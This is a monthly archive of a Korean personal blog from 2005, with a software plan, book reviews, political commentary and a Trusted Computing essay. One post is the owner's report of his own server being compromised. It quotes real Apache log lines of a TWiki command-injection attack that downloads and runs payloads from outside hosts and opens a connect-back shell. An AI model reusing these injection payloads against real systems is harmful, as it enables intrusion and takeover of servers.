The Last Mind

Captain's Log

Monthly Archives: September 2005

Galaxy: Iteration 4 Plan

21 September 2005 by Joseph Jang


Introduction

Galaxy는 제가 개발 중인 웹기반의 RSS Feed Aggregator입니다. 다음은 Iteration 4의 개발 계획입니다.

Feature List

  • Refactoring
    • Improve Controller-View plumbing
    • Use ActiveRecord pattern
  • User Interface
    • "Mark Read" with AJAX (Say, AJAX view)
    • Item/Subscription Folding with javascript
    • Specify subscription category when adding subscription
  • Feature
    • Authentication (instead of HTTP Authentication)
    • DB Abstraction Layer (instead of Ruby/Mysql)
    • Minimize Apache Web Server dependency (how?)

Schedule

일단은 7월말까지 Iteration 4를 종료하고 0.2.0를 릴리즈하는 것을 목표로 하고 있습니다.

Update: 10월말로 수정합니다.

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김승옥 소설전집 中 무진기행

21 September 2005 by Joseph Jang

무진기행무진기행, 김승옥 소설전집 1, 김승옥, 문학동네, 2004

읽은 지가 오래되었으니, 작품 개개에 대한 얘기는 다음번으로 미루자. 대신, 책을 읽을 당시에 끄적거린 노트를 들여다보자.

무진은 어디에 있는 도시인가? 안개가 많은 도시라는 것을 볼 때, 바닷가 근처거나 호수가 있는 내륙지방(강원도)의 느낌이 난다. 읽다보면, 호남지방인가 하는 생각도 잠시 든다. 어디에 있는 도시인가는 별로 중요하지 않고, 오히려 별로 알려지지 않은 점이 중요한 것인가? 도시로부터의 도피처? 실락원?

영화 "생활의 발견"와의 관련성. 지방 도시에서 만난 여선생과의 정사라는 스토리라인. "우리 서로 솔직해지기로 해요"라는 대사.

서울과 무진의 공간적 대비. 서울은 이성이 지배하는 공간. 무진은 욕망이 지배하는 공간. 자의식과 무의식. 욕망(비이성)에의 옹호? 주인공의 이중성 자체도 비이성?

부조리극. Camus. 타인의 속물적 행동에 대한 비판과 주인공 자신의 속물적 행동.

사실 이 노트의 마지막 줄에 있는 ‘부조리극’이라는 단어가, 이 소설집 전체에 대한 내 느낌을 대면해준다고 볼 수 있을 것 같다. 작품마다 부조리의 현실, 주인공과 부조리와의 관계는 제각기 다르고, 주인공이 그러한 부조리에 대처하는 방법도 다르지만, 공통된 것은 바로 부조리를 다루고 있다는 것이다. 그리고, 그러한 점은 상당히 마음에 들었다. 나는 까뮈를 좋아한다.

그래도 전집이니까 붙어있는 작가 연표를 보고서 알아낸 것은 이 소설집에 있는 작품들은 김승옥 씨가 스무살 남짓하던 시절에 쓴 것들이란 것이다. 일상으로부터 부조리를 발견해내는 것은 이십대의 정신인 것 같다는 생각이 들었다. 십대가 아직 세상을 잘 몰라서 또는 정신적인 능력이 부족해서 그렇다고 치자면, 왜, 삼십대, 사십대는 아닌가. 이십대만이 가질 수 있는 그러한 정신이란 무엇일까.

어쩌면, 김승옥 씨의 삶 자체가 이러한 물음의 대답이 될 수 있을지도 모르겠다. 이렇게 치열한 작품들을 썼던 작가는 서른이 끝나갈 무렵 ‘광주사태’로 의욕을 잃고 절필을 하게 된다. 그리고, 이제 그는 "하나님에 의해서 내 영안이 열"렸다며 이제 "하나님의 진실을 드러내기 위"한 소설을 쓰겠다고 한다. 그의 치열한 정신을 읽은 나로서는 잘 상상이 가지 않는다. 어쩌면 이런 것이 삶일런지도 모른다.

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정혜신

21 September 2005 by Joseph Jang

‘김대중 죽이기’의 서평을 쓰느라 책을 뒤적이다가, 재미있는 구절을 발견했다.

불행 중 다행히도 아직 우리 언론은 정치인들의 평가에 정신분석학을 도입하지는 않고 있다. 아니 다행이라고 볼 일은 아니다. 우리 언론은 정치보도에 있어서 아예 정신분석학의 흉내도 내지 않으면서 추리소설을 쓰는 경지에까지 이르렀으니 말이다. 특히 김대중에 관한 보도가 그러하다. (김대중 죽이기, 강준만, 개마고원, 1995)

강준만 씨가 아이디어를 줬는지 어쨌는지 몰라도, 불행히도 (?) 정혜신 씨는 정치인들의 평가에 정신분석학을 도입했다. 생각난 김에 정혜신 씨에 대한 얘기를 약간 해보자.

정신분석학은 ‘환자는 항상 옳다’는 대전제에서 출발한다. 의식 수준에서는 엉뚱하고 비논리적인 환자의 말이나 행동들도 무의식 수준에서는 그 사람의 핵심동기를 드러내는 일정한 법칙이 존재하기 때문이다. 그래서 겉으로 나타난 말만으로 헛소리라고 무가치하게 여겨서는 안된다. 이것은 마케팅에서 말하는 ‘고객은 언제나 옳다’는 말과는 조금 다르다. 시장에서 말하는 고객만족은 지극히 의식적 수준의 개념인데 반해 정신분석학은 철저하게 대상의 무의식 차원에 주목한다. 의도를 가진 특정집단이나 개인에 대해서는 명징한 의식의 차원에서 옳고 그름을 따져봐야 하지만 민심이란 본질적으로 민중의 무의식이 투사된 개념이다. 그런 면에서 민심은 언제나 옳다, 고 나는 생각한다. (정신분석학으로 본 노 대통령, 정혜신, 한겨레)

정신분석학의 옳고 그름을 떠나서, ‘환자는 항상 옳다’는 명제가 옳다고 가정해보자. 환자의 무의식이 드러낸다는 핵심동기는 언제나 헛소리로 들릴 뿐이다. 그것을 올바르게 해석하는 것이 정신분석학자의 일일테다. 민심에 대한 정혜신 씨의 정치철학도 옳다고 가정해보자. 그렇다면, 헛소리로 들리는 민심을 올바르게 해석하는 것도 대통령을 비롯한 정치인의 역할이라고 볼 수 있지 않은가?

위의 얘기도 어디까지나 너그럽게 모든 것이 옳다는 가정 아래서의 얘기다. 정혜신 씨가 결국 하고 싶은 얘기는 뭔가? 민심은 (말그대로) 옳으므로 대통령은 이를 따라야한다는 것이다. 이는 일종의 정치철학이자 정치적 의견이다. 특히나, 연정을 둘러싼 특정 사안에 대한 의견일 것이다. 이러한 논지를 펼치는데 정혜신 씨의 정신분석학은, 의식과 무의식 운운은 얼마나 도움이 되는가? 그가 동원한 정신분석학은 얼마나 과학적 정합성을 가지고 적용되었는가? 그것은 적합한가?

정혜신 씨의 정치적 의견이 아무리 옳다고 하더라도, 정신분석학 운운은 봐줄 수가 없다. 일종의 ‘지적 사기’다.

Update: 이상한 모자님의 한겨레의 정신분석학도 읽어보자.

이 경우의 ‘정신분석학으로 본’ 이란 수사는 노무현 대통령의 정책적 경향에 대해 ‘개인적’ 조언을 하겠다는 알리바이에 불과한 것이다.

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김대중 죽이기

21 September 2005 by Joseph Jang

김대중 죽이기, 강준만, 개마고원, 1995

김대중을 다루고 있고, 또 그를 상당히 옹호하고 있기 때문에, 대선 때면 흔히 나오는 대통령 후보자 선전 책자처럼 여길 사람이 있을지도 모르겠다. 하지만, 이 책은 옹호를 위한 책이라기 보다는 비판을 위한 책이다. 그 대상은 바로 언론과 지식인이다.

전반부에서는 김대중에 대한 내용을 다루고 있다. 책이 쓰여질 당시(1995년)의 김대중에 대한 이미지란 어떤 것인가를 보여주는 것만으로도 상당히 흥미로운데, 그것이 왜 잘못되었고 또 어떻게 조작되었는가를 조목조목 밝혀주고 있다.

김대중에 대한 얘기가 나오면 당연히 지역감정 문제가 나온다. 그 문제의 핵심을 강준만 씨는 언론과 정치평론을 하는 지식인, 그리고 국민의 문제로 보고 있다.

후반부에서는 그러한 문제를 집중해서 다루고 있다. 추리소설을 쓰는 기자, 연예기사를 방불케하는 정치보도, 언론의 이미지 조작 등 우리가 현재 언론에 대해 내리는 평가 – 언론의 문제점들을 잘 정리하고 있다. ‘좆선’이라는 단어가 없던 시절이었던 것을 감안하면 상당히 도전적인 책이 아니었을까 상상해본다. 지식인들의 양비론적이고 정치혐오주의적인 정치평론들도 쓰레기라고 얘기한다.

그의 ‘김대중 옹호’ 중 몇가지는 어떤 사람들의 (자신도 그 근거를 모르는) 김대중 이미지에 대한 신뢰에 금이 가게하지는 못할테고, 아마도 그들은 불편함을 느낄 것이다. 그런 것들을 비판하는 것은 좋지만 부차적인 일이다. 강준만 씨가 주장하고 있는 언론과 지식인의 문제가 우리 모두가 해결해야할 중요한 문제임은 대부분이 동감하리라고 믿는다.

전체적으로 언론이나 정치인, 지식인을 비판하기 위한 상당히 많은 양의 자료를 인용하고 있어서, 약간 놀랐다. 분명히 그런 자료들을 인용하지 않아도 논지 전개에는 문제가 되지 않았을지는 모르겠지만, 그러한 자료들이 이 책의 객관성에 상당한 도움을 주고 있는 것은 사실이다.

대학교를 다닐 때까지도 정치에 대한 혐오를 가지고 있었고, 어린 마음에 무정부주의자를 자처했었다. 그것이 깨어진 것은 강준만 씨의 ‘노무현과 국민사기극’과 김규항 씨의 ‘B급 좌파’를 읽고난 후 였는데, 강준만 씨의 이 책을 좀 더 일찍 읽었더라면, 좀 더 빨리 정치에 대한 올바른 시각을 가질 수 있지 않았을까 싶다.

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lastmind.net security breached

20 September 2005 by Joseph Jang

우연히 top을 해봤더니, krad라는 프로세스가 CPU를 모두 차지하면서 동작하고 있더군요. 거기에 r0nin이라는 이름의 프로세스도 눈에 띄더군요. 순간 hack 당했다는 느낌이 들더군요. 역시나, 구글링해보니, 일종의 code injection 공격이더군요.

apache log를 살펴보니, 다음과 같은 내용이 있었습니다.

GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|perl ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|uname%20-a%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main//TWikiUsers?rev=2%20|wget%20http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1

그리고 twiki/bin과 /tmp에는 ntfu.txt, dc, krad, r0nin과 같은 파일들이 생겨있었습니다. apache를 통해서 생성된 파일들이기 때문에 apache user로 되어있었습니다.

보시다시피, 웹 어플리케이션을 통해서 shell command를 injection하고있는 것을 볼 수 있습니다. 구글링에서 찾은 건 My eGallery라는 웹 어플리케이션의 버그를 이용한 것인데 lastmind의 경우에는 제가 사용하고 있는 TWiki버그를 이용한 공격이었습니다.

이 문제는 제가 사용하는 버전인 2004년 9월 1일 릴리즈 이 후 이틀에 걸쳐서 수정된 문제임에도 불구하고, (그리고 security vulnerability에 대한 메일을 받았음에도 불구하고) 저같은 풀타임도 아닌 게으른 관리자가 관리하는 서버는 이러한 공격에 취약할 수 밖에 없는 것 같습니다. 어쨌든 2004년 9월 3일 릴리즈로 업그레이드 해서 이 문제는 해결했습니다.

대충 살펴보면, 주로 back door 종류인 듯 한데, lastmind에서 무슨 짓을 했는지는 아직 파악되지 않았습니다. 스팸 메일을 보낼까 해서 일단 sendmail을 내려놓은 상태입니다. krad라는 프로세스는 ‘kill -9′로 죽지도 않아서 reboot을 해야만 했는데, 흥미롭게도 다음과 같은 내용을 담고 있더군요.

$ strings krad

[1;37m k-rad.c - linux 2.6.* CPL 0 kernel exploit
[1;37mDiscovered Jan 2005 by sd <sd@fucksheep.org>

역시 구글링을 해보니, 리눅스 커널 2.6.x에 해당하는 sys_epoll_wait를 이용한 overflow exploit이라는 것이 밝혀졌습니다. kernel memory를 overwrite해서 root shell까지 실행할 수 있는 exploit인데, root를 가로채고 무슨 짓을 했을지 모르겠군요.

공격을 당한 그 날 발견한 것은 상당히 행운이라고 볼 수는 있겠습니다만… 피해 상황은 좀 더 조사해봐야겠습니다.

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Shuffle에 Miranda 설치하기

16 September 2005 by Joseph Jang

Miranda in Shuffle

Shuffle에 Firefox를 설치해서 잘 사용하고 있습니다. 학교에서나 방학 때 현장실습 했던 회사에서도 유용하더군요. 개강해서 PC실에 들러서 놀고 있는데, 갑자기 Google Talk를 쓰는 친구가 잘 살아있나 확인하고 싶어졌습니다. 역시 PC실에는 소프트웨어를 설치할 수 없기 때문에, 셔플에 뭔가를 깔아야겠다고 생각했습니다. Google Talk는 안될 것 같고 (실제로 되는 지는 모르겠습니다) … 아, lunamoth님이 얘기했던 Miranda가 어떨까요? 의외로 간단하게, zip format의 Miranda 배포판을 다운로드 받아서 셔플에 풀어놓는 것으로 모든 것이 해결되더군요.

MSN, Jabber, IRC 외의 다른 모듈은 다 내리고, 적당히 설정해주는 것으로 쓸만하게 되었습니다. Jabber 모듈을 Google Talk 쪽으로 접근하도록 설정하는 것은 Google의 가이드lunamoth님의 가이드를 따랐습니다. 왜 그런지 모르겠지만, Google의 것에는 OpenSSL 파일을 설치해주는 것이 빠져있죠.

아이콘 모음을 하나 받아서 설정해주었습니다. amicons라는 건데요. 괜찮습니다. 스킨은 마음에 드는 것을 찾기가 힘들어서 그만 뒀습니다. 기본 대화창조차도 플러그인으로 되어있는데, 폰트를 설정할 수 있는 것이 없어서 좀 불편하더군요. 역시, 적당한 대체 플러그인을 못찾겠습니다. 좋은 거 알고 계시면 좀 알려주세요.

gaim 외에 멀티프로토콜 메신저는 처음 사용해보았는데요. gaim에 비해 장점이라면, 인터페이스를 변경하는 것이 gaim에 비해 좀 더 자유로운 것 같다는 것입니다. 사실, 기본 인터페이스만 보자면 gaim과 별로 다를 것도 없긴 하죠. 그러고보면, gaim은 GTK+도 깔아주고 해야하니까, Shuffle에 설치하기는 좀 불편할 것 같기도 하네요. (따로 패키지가 있으려나요.) 데스크탑에서는 다양한 메신저들(MSN, Skype, Google Talk, Tachy, Nateon)을 사용하고 있긴 하지만, 아직은 데스크탑에서 멀티프로토콜 메신저를 사용할 생각은 들지 않네요.

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Trusted Computing Group

16 September 2005 by Joseph Jang

Microsoft’s Machiavellian manoeuvring by Bruce Schneier

Trusted Computing Group (이하, TCG)은 Microsoft, Sony, AMD, Intel, IBM, Sun, HP와 같은 메이저 IT 업체들을 주축으로 하고 있는 컨소시엄이다. TCG의 기본 아이디어는 하드웨어와 소프트웨어가 어떻게 서로를 신뢰할 수 있는가 하는 문제를 해결하기 위한 것이다. 예를 들면, 하드웨어가 OS의 신뢰성을 보장하고, OS가 어플리케이션의 신뢰성을 보장해주는 식이다.

(예전에 저작권에 관한 이슈가 불거질 때, 태준형과 많은 얘기를 나누면서 TCG에 대해서 듣게 되었고, TCG에 대해서도 많은 얘기를 했었다. 다음 내용들은 그 얘기들에 기초하고 있다.)

예컨대, DVD의 불법적인 복제를 막고 싶다고 하자. 현재의 PC에서는 DVD의 내용이라고 할 수 있는 영상과 음성은 어떻게든 하드웨어와 소프트웨어를 거쳐 사용자에게 전달이 되어야하기 때문에 DVD에 담긴 데이터에 접근하는 모든 하드웨어와 소프트웨어를 막는 것만이 궁극적인 해결책이 될 수 있다. 여기에는 DVD 롬과 OS, DVD를 재생하는 소프트웨어, 그래픽 카드, 심지어 모니터도 포함될 것이다. 이러한 하드웨어와 소프트웨어의 요소 중 하나라도 복제를 방지하도록 설계되어있다는 보장이 없다면, 그 DVD에 담긴 데이터는 절대로 그러한 요소로 전달되어서는 안되는 것이다. 가장 간단한 방법은 PC와 같은 열린 플랫폼 보다는 DVD Player들, XBOX나 Playstation과 같은 닫힌 플랫폼을 선택하는 것이다. 하지만, 그러한 닫힌 플랫폼들은 그 특성상 PC 시장을 완전히 대체할 수는 없으며, 분명 아직도 전쟁중이다. TCG의 노력은 아마도 열린 플랫폼에서도 신뢰의 보장을 구현해보자는 것이다.

분명히 이것은 가치가 있다고 생각된다. 우리나라 은행 사이트들에만 들어가면 잡다하게 설치되는 ActiveX들은 짜증스럽다. 기본적으로 우리나라의 은행들은 절대로 사용자들과 사용자들의 PC를 믿을 수 없다는 것인데, 이것이 valid한 의견이든 아니든 간에, 은행들의 욕구를 충족시키면서 ActiveX를 없애고 싶다면, 은행 사이트들은 키로깅 소프트웨어나 백도어가 없거나 영향을 미칠 수 없다는 보장을 OS로부터 받을 수 있어야할 것이다. OS는 은행 사이트로의 모든 형태의 접근에 대한 다른 소프트웨어나 하드웨어의 접근을 통제할 수 있으니까 말이다. 물론, 그 OS를 믿을 수 있는가하는 문제는 또 다른 방법으로 (예를 들어, 하드웨어를 통한 인증) 해결할 수 있을 것이다. 제대로 된 TPM이 PC에서 구현이 된다면, 우리는 현재보다는 좀 더 편하게 인터넷 뱅킹을 할 수 있으리라고 생각한다.

하지만, 문제는 있다. TCG 또는 TCG의 회원사들은 항상 선한 의도만을 가지고 있는 것은 아니기 때문이다. TCG라는 조직 자체가 일종의 권력이며, TCG의 외부에 있는 하드웨어 또는 소프트웨어 회사들은 그 권력에 의한 피해를 입을 수 있는 여지가 있다. 뿐만 아니라, TCG가 컨텐츠 산업의 이익을 대변하며 디지털 컨텐츠를 절대로 복제할 수 없도록 하는 세상이 될 수도 있을 것이다. (간혹 영화에 나오듯이 더럽고 어두운 지하에서 펑크족 머리를 하고 주인공에게 불법적으로 복제를 해주는 세상말이다.)

Bruce Schneier는 TCG가 내놓은 문서인 Design, Implementation, and Usage Principles for TPM-Based Platforms을 소개하면서 이와 같은 우려를 표시한다.

That sounds good, but what does "security" mean in that context? Security of the user against malicious code? Security of big media against people copying music and videos? Security of software vendors against competition? The big problem with TCG technology is that it can be used to further all three of these "security" goals, and this document is where "security" should be better defined.

하지만, 이 문서는 TCG의 선한 의도를 표명하고 있고, Bruce Schneier도 이 문서에 쓰여진대로만 따른다면 그것은 좋은 가이드라인이라고 평가한다.

Complaints aside, it’s a good document and we should all hope that companies follow it. Compliance is totally voluntary, but it’s the kind of document that governments and large corporations can point to and demand that vendors follow.

Bruce Schneier가 한가지 더 우려하고 있는 것은 Microsoft의 행동이다. Microsoft는 TCG의 회원이지만, 이 문서의 기초를 더디게 만드려고 했다고 한다. 그 이유는 Windows Vista의 출시 이 후에 이 문서가 발표되도록 해서, Vista가 결국 이 문서의 영향을 받지 않도록 하기 위한 것이었다는 것이다. 물론 정확한 증거가 없는 의심이기는 하지만, Microsoft의 행보를 생각하면, 그냥 무시해버릴만한 생각은 아니다.

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정혜신의 ‘천하의 유시민을 어찌 당하랴만은’

14 September 2005 by Joseph Jang

정혜신의 ‘천하의 유시민을 어찌 당하랴만은’

한겨레에서 정신분석을 통해 인물비평을 하는 칼럼을 쓰고 있고, 같은 내용으로 책도 낸 정혜신 씨가 오마이뉴스에서도 칼럼을 쓰는 모양이다. 자신의 정치적 의견을 피력하는데 정신분석 운운도 코미디지만, 최근에는 유시민 의원에 대한 비평 ‘천하의 유시민을 어찌 당하랴만은’ 이란 글을 썼는데 내용이 가관이다.

‘지적 권위주의’란 매사 논리로 상대를 제압하려는 경향을 말한다. 원래 권위주의란 게 수평관계보다 수직적 관계를 축으로 이루어진다. 논리적 설득의 측면에서는 유시민도 권위주의적 성향이 강하다. 어떻게 해서든 상대의 논리를 내 논리에 종속시켜야 속이 후련한 것처럼 보인다.

‘지적 권위주의’ 성향이 있는 이들에게 ‘앎(知)’은 삶의 가장 중요한 척도다. 매사 ‘너 그거 알아?’ 하며 사실관계를 명확하게 따지기 좋아하고 상대의 이해력을 끊임없이 저울질한다. ‘지적 권위주의’는 ‘앎’을 통해 자신의 존재감을 확보하려는 경향성이다. 논리와 사실을 바탕으로 하므로 대개의 경우 합리적이지만 권위주의적 색채가 짙어지면 제3자를 무시하거나 냉소적으로 될 가능성이 높아진다. 자신의 ‘앎’을 최종 결론으로 미리 단정하고 논의를 시작하기 때문에 토론이 아닌 설득이 된다. 일방적, 배타적 논의다.

정혜신 씨가 ‘지적 권위주의’란 단어를 대체 왜 끌어왔는지 모르겠다. 정혜신 씨가 하고 싶은 말은 단 한가지다. 유시민은 사실과 논리적 정합성에 의존해 다른 사람(의 의견)을 무시하고, 자기 주장만 한다는 얘기가 아닌가. 그럼, 정혜신 씨가 원하는 것은 무엇인가? 유시민이 ‘논리적’이라는 것이 문제인가, ‘권위적’이라는 것이 문제인가? 유시민은 비논리적이라고 느끼더라도 적당히 자신의 주장을 굽히고 다른 사람의 의견에 동의해줘라? 이어지는 내용을 보면 정말로 그런 것 같다.

논리성이 실체적 진실을 알려주는 알파와 오메가도 아니고 사람을 설득하는 요소의 전부도 아니다. 잘 알려진 것처럼 사람의 마음을 움직이는 영향력의 90%는 언어적 요소가 아닌 비언어적 요소에 의한 것이다. 말의 내용 그자체 보다도 말하는 사람의 얼굴표정, 말의 억양, 손짓, 몸짓 등의 비언어적인 요소를 통해서 사람들은 그 사람이 얼마나 순수하고 열정적인지, 또는 진실한지 등을 무의식적으로 감지하게 되며 그것에 의해서 그 사람의 말을 받아들일지 말지를 부분적으로 결정한다는 것이다.

맞는 말이다. 하지만, 논리성이 알파와 오메가는 아니거니와 비논리성은 더더욱 그렇다.

논리성은 나쁜가?

정혜신 씨의 말에 동의한다고 가정하고, 유시민은 권위적인 면이 많다고 치자. 더해서, 유시민의 권위주의는 그의 지적인 자신감에서 나온다고 치자. 하지만, “지적 권위주의”라는 말로 포장해서 그의 논리성과 권위주의를 포장해서 함께 비판해서는 안된다. 논리성은 정치판에 부족한 미덕이며, 그러한 미덕의 부족은 정치에 대한 불신을 낳게 마련이다. 비판하려거든 그의 권위주의를 비판하되, 논리성을 비판하지 말라. 아니면 차라리, 유시민은 비논리적이라고 비판하라. 우습게도 ‘정치적 이슈’의 중심은 항상 각 당의 대변인들의 선정적인 한마디가 되는 현실보다, 그 해롭다는 유시민 4명이 나와서 토론한 내용이 국민적 의제로 설정되는 것이 우리나라의 정치에는 훨씬 이로울 것이다. 나는 이 추측이 옳음을 “무의식적으로” 알 수 있다. 예를 들어, 정혜신 씨도 예로 든 100분 토론에 등장한 한나라당 김문수 의원 의 “경제가 어려운데”의 고집을 보자. 그건 “비논리적-경제적 권위주의”라도 되는가? 비이성적인(보다 일반적인 의미의) 권위주의가 만연한 정치판에서 그나마 지적 권위주의는 양반이다.

정치가에게 권위주의는 나쁜가?

위에서 한나라당의 의원을 비판하기도 했지만, 정치가에게 있어서, 권위주의는 불가피한 것일지도 모른다. 정치가가 대표하는 이상이나 가치는 그에게 모든 다른 가치를 배제하는 제1의 목표가 될 수 있다. 그 목표를 달성하기 위한 그의 정치적 행동은 외부에는 어떤 형태로든 권위주의로 비칠 수 있다는 생각이 든다. 이것은 지식인들의 ‘지적 권위주의’와는 다른 성격의 것이다. 지식인들이 ‘내가 졸라 맞아’라고 하는 것과 정치인들이 ‘내가 졸라 맞아’하는 것은 다른 성격의 것이라는 얘기다.

역시 위의 100분 토론에서 누구 하나 자신의 의견을 변경한 사람이 있는가? 정치적 견해가 대표성을 지닌 한, 논리를 통한 설득이든 지속적인 무시든 – 무슨 수단을 이용하든 기본적으로 배타적일 수밖에 없고, 그것은 권위주의로 해석될 수 밖에 없다. 오랜 시간에 걸친 타협과 설득을 통한 정치적 견해의 변화는 100분 토론이나 단발의 연설에서는 표현될 수가 없다.

유시민은 정말로 권위주의적인가?

유시민이 특출나게 똑똑해서 권위주의적이고, 또 그래서 유시민은 항상 다른 사람의 의견을 무시하는걸까? 즉, 그가 권위적이라는 것을 확인시켜주는 것은 그의 논리성일까? 혹, 유시민이 권위주의적이라는 주장은 유시민의 ‘권위’라는 현상을 설명하는 한가지 방법일 뿐인 것은 아닐까? 그리고, 그 ‘권위’의 원인은 실제로 다른 데 있는 것은 아닐까? 사실, 유시민 만큼 말 잘하고 논리적인 사람은 많다. 다만 그런 사람이 정치판에 적다는 것이 더욱 큰 문제다. 그래서, 유시민이 함부로 “무시하지 못하는” 사람, 혹은 적어도 서로 무시할 수 있는 사람이 유시민의 토론 상대로 나오지 못하는 것이 진짜 문제다. 다시 말하면, 그가 권위주의적으로 비치는 것은 그의 광채, 즉 권위를 덜어줄만한 상대가 없기 때문이다. 사실, 정혜신 칼럼의 제목 자체가 이러한 점을 극명하게 보여주고 있다. ‘천하의 유시민’이 가지고 있는 권위를 정신분석과 비논리성을 강조하는 정혜신씨가 어떻게 짓밟는단 말인가? 하지만, 유시민 정도의 논리성만 가지고 있는 사람이라면 충분히 짓밟을 수 있다고 본다.

만약에 정치판과 정치가들을 뽑아줄 국민들에게 그러한 자각을 만들기 위해서 유시민의 ‘계몽’이 계속 필요하다면, 나는 기꺼이 그를 옹호할 것이다.

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사람의 아들

14 September 2005 by Joseph Jang

사람의 아들사람의 아들 by 이문열

민요섭이라는 인물의 살인사건을 추적하는 형사의 얘기안에 민요섭과 그가 창조한 인물, 아하스페르츠의 얘기가 담겨있는 액자형태의 소설이다. 액자 내 소설이 풍부한 신학적 내용을 담고 있어서 지적으로는 즐겁지만 자칫하면 흐트러지기 쉬운 집중력을 액자의 틀이라고 할 수 있는 추리소설의 형식이 지탱해주고 있다고 할 수 있다.

‘사람의 아들’, 아하스페르츠는 민요섭이 쓴 소설의 주인공이지만, 민요섭 자신의 생각과 행동을 그대로 반영한다. 민요섭과 아하스페르츠는 동일한 자아다. 현실에서의 민요섭의 행동은 아하스페르츠의 생각에 그대로 반영된다. 혹은 vice versa. 육욕에 눈을 뜨고 기존의 신에 반기를 드는 민요섭과 아하스페르츠는 말그대로 동격이다.

아하스페르츠는 자신의 신에 대해 더이상 믿지 못하나, 신이 존재함을 믿으며, 다른 종교들의 신들을 알기 위한 여행을 떠난다. 소설의 많은 부분은 여러 종교들에 대한 탐색으로 채워져있으며, 지적인 즐거움을 제공한다.

아하스페르츠가 예수와 대면하는 부분은 소설의 절정이다. 바이블에 등장하는 광야에서의 시험을 재구성한 것은 상당히 재미있는 아이디어고, 서양의 고전, 특히 바이블에 미치는 비평가들이 좋아할 만한 내용이다.

아하스페르츠는 무신론 혹은 불가지론의 결정판을 보여준다. 하지만, 형사가 얘기하는대로 민요섭과 아하스페르츠는 새로운 신을 만들지는 못한다. 이것은 민요섭과 아하스페르츠의 한계인 동시에, 이문열의 한계, 그리고 이 소설의 한계일 것이다. 다시 원래의 신으로 회귀해버리는 민요섭이 그의 극단적인 제자에게 살해당한다는 결말은 그 한계가 이 작가와 소설에 한정된 결함이 아니라 인간 전체의 한계가 아니냐는 질문을 던지게 만드는데, 그것은 착각이 아닐까.

이건 반쯤 농담스레 하는 말이지만, FSM과 같은 ‘신’을 보면 인간은 새로운 신을 만들 수 있는 천부적인 능력을 타고났다고 생각할 수 밖에 없다.

Touched by his noodly appendage

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